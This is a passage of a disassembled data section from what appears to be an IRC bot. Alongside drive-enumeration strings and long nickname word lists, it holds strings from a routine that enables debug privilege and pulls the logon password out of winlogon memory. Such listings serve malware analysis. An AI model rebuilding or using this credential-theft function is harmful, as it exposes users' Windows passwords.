aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo
align 10h
off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o
word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo
; sub_41AA42:loc_41AB44r
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o
; sub_416B56+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co
align 4
unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004D
dd offset loc_4E0047+2
dd 0
off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo
dd offset byte_520045
dd offset loc_41004D+1
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
; sub_416F1A+161o ...
align 10h
unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo
align 4
dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417552+70o
; sub_4175E9+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175E9+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr
; "q"
; ---------------------------------------------------------------------------
mov al, ds:38004387h
lodsb
inc edx
add [ebx+eax*8], al
inc edx
add [eax-3Eh], bh
inc edx
add [edi+eax*4-5587FFBDh], bl
inc edx
add ah, dl
retn 42h
; ---------------------------------------------------------------------------
push esp
stosb
inc edx
add ah, dl
lodsb
inc edx
add ah, bl
retn 42h
; ---------------------------------------------------------------------------
dd offset aD ; "d"
dd offset dword_438798
dd offset dword_438794
dd offset dword_438790
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43878C
dd offset dword_438788
dd offset dword_438784
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438780
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_43877C
dd offset dword_438778
dd offset dword_438774
dd offset dword_438770
dd offset dword_43876C
dd offset word_438768
dd offset dword_438764
dd offset aI_0 ; "I"
dd offset dword_438760
dd offset dword_43875C
dd offset aA_0 ; "A"
dd offset dword_438758
dd offset dword_438754
dd offset dword_438750
dd offset dword_43874C
dd offset dword_438748
dd offset dword_438744
dd offset dword_438740
dd offset dword_43873C
dd offset dword_438738
dd offset dword_438734
dd offset dword_438730
dd offset dword_43872C
dd offset dword_438728
dd offset word_438724
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_4384BC
dd offset off_4384B8
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438324
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r
; sub_417ADD+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438780
dd offset aC ; "c"
dd offset aD ; "d"
db 38h ; 8
db 0ACh ; ¬
db 42h ; B
db 0
db 98h ; ˜
db 87h ; ‡
db 43h ; C
db 0
db 94h ; ”
db 87h ; ‡
db 43h ; C
db 0
db 90h ;
db 87h ; ‡
db 43h ; C
db 0
db 0D4h ; Ô
db 0C2h ; Â
db 42h ; B
db 0
; ---------------------------------------------------------------------------
cld
mov ah, 42h
add [ebx+esi*4+42h], al
add [eax-39h], bl
inc edx
add [edi+eax*4-533BFFBDh], cl
inc edx
add [eax-4Dh], cl
inc edx
add al, bh
mov dl, 42h
add [edx+ebp*4+42h], dl
add al, ch
retn 42h
; ---------------------------------------------------------------------------
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
; ---------------------------------------------------------------------------
mov al, ds:84004387h
xchg eax, [ebx+0]
pushf
xchg eax, [ebx+0]
mov [edi-7E83FFBDh], al
inc ebx
add [eax-7Fh], bh
inc ebx
add [ecx+eax*4+43h], dh
add [eax-7Fh], dh
inc ebx
add [ecx+eax*4+43h], ch
add [eax-7Fh], ch
inc ebx
add [ecx+eax*4+43h], ah
add [ecx+eax*4+43h], bl
add [ecx+eax*4+43h], dl
add [ecx+eax*4+43h], cl
add [ecx+eax*4+43h], al
add [eax-6BFFBC79h], cl
xchg eax, [ebx+0]
fadd st(2), st
inc edx
add al, ch
retn 42h
; ---------------------------------------------------------------------------
dd offset off_438140
dd offset aBbl ; "|bbl"
dd offset dword_43D128
dd offset dword_43D128
dd offset a___0 ; "_|_"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_438750
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438780
dd offset dword_43D128
dd offset aSleeping ; "Sleeping"
dd offset dword_43D128
dd offset dword_43D128
dd offset aFuck ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_438734
dd offset dword_43D128
dd offset off_438100
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_4380C0
dd offset dword_4380BC
dd offset dword_4380B4
dd offset dword_4380A8
dd offset dword_4380A0
dd offset dword_438098
dd offset dword_438090
dd offset dword_43808C
dd offset dword_438088
dword_438088 dd 7536h ; DATA XREF: ___:00438084o
dword_43808C dd 7535h ; DATA XREF: ___:00438080o
dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co
dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o
dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o
dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co
dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o
dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o
aMofo db 'mofo',0 ; DATA XREF: ___:00438060o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438058o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438054o
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438050o
aShit db 'shit',0 ; DATA XREF: ___:0043804Co
align 10h
aGurl db 'gurl',0 ; DATA XREF: ___:00438048o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o
align 10h
off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o
aFree db 'Free',0 ; DATA XREF: ___:0043802Co
align 4
aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co
align 10h
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o
align 4
aSad db 'Sad',0 ; DATA XREF: ___:0043800Co
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00437FECo
aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o
align 10h
off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo
aMuckc db 'muckc',0
align 4
aTruck db 'truck',0
align 4
aTrimy db 'trimy',0
align 4
aLuvy db 'luvy',0
align 4
aUi db 'ui',0
align 4
aSdf db 'sdf',0
aRt db 'rt',0
align 10h
aGf db 'gf',0
align 4
aTy db 'ty',0
align 4
aRg db 'rg',0
align 4
aHappy db 'happy',0
align 4
aRs db 'rs',0 ; DATA XREF: ___:00437F80o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o
align 10h
aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o
align 10h
aGens db '{gens|',0 ; DATA XREF: ___:00437F24o
align 4
aSex db '{sex}',0 ; DATA XREF: ___:00437F20o
align 10h
aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co
align 4
aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o
align 10h
aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o
align 4
aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o
align 10h
aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co
align 4
aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o
aLag db 'lag',0 ; DATA XREF: ___:00437F04o
aBad db 'bad',0 ; DATA XREF: ___:00437F00o
aTree db 'tree',0 ; DATA XREF: ___:00437EFCo
align 10h
aZex db 'zex',0 ; DATA XREF: ___:00437EF8o
aLez db 'lez',0 ; DATA XREF: ___:00437EF4o
aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o
align 10h
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo
align 4
aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o
align 10h
aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo
align 4
aUla db 'ula',0 ; DATA XREF: ___:00437EB8o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o
aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o
align 4
aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o
align 4
aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o
align 10h
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o
align 10h
aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00437E88o
align 10h
aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o
align 10h
aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o
align 4
off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o
aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o
align 10h
aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o
align 10h
aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o
align 4
aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co
align 10h
aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o
align 10h
aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o
align 10h
aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o
aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co
align 4
aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o
align 10h
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o
aArda db 'arda',0 ; DATA XREF: ___:00437DF0o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:00437DECo
align 10h
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o
align 10h
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo
align 4
aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o
align 10h
aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o
align 4
off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo
dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o
aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo
align 10h
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o
align 10h
aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o
align 10h
aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co
aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o
aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o
aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o
align 10h
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o
align 4
aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o
align 10h
aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o
align 10h
aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co
align 4
aMary db 'MARY',0 ; DATA XREF: ___:00437D68o
align 10h
aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co
align 10h
aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o
aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o
align 10h
aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co
align 10h
aImra db 'imra',0 ; DATA XREF: ___:00437D28o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o
align 10h
aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co
align 4
aManee db 'manee',0 ; DATA XREF: ___:00437D18o
align 10h
aTroller db 'troller',0 ; DATA XREF: ___:00437D14o
aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o
align 10h
aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co
align 4
aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:00437D04o
align 4
aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo
align 4
aCme db 'cme',0 ; DATA XREF: ___:00437CF8o
aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o
align 10h
aShez db 'Shez',0 ; DATA XREF: ___:00437CECo
align 4
aKen db 'ken',0 ; DATA XREF: ___:00437CE8o
aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o
align 10h
aMale db 'male',0 ; DATA XREF: ___:00437CDCo
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o
align 10h
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o
align 10h
aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o
aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo
align 10h
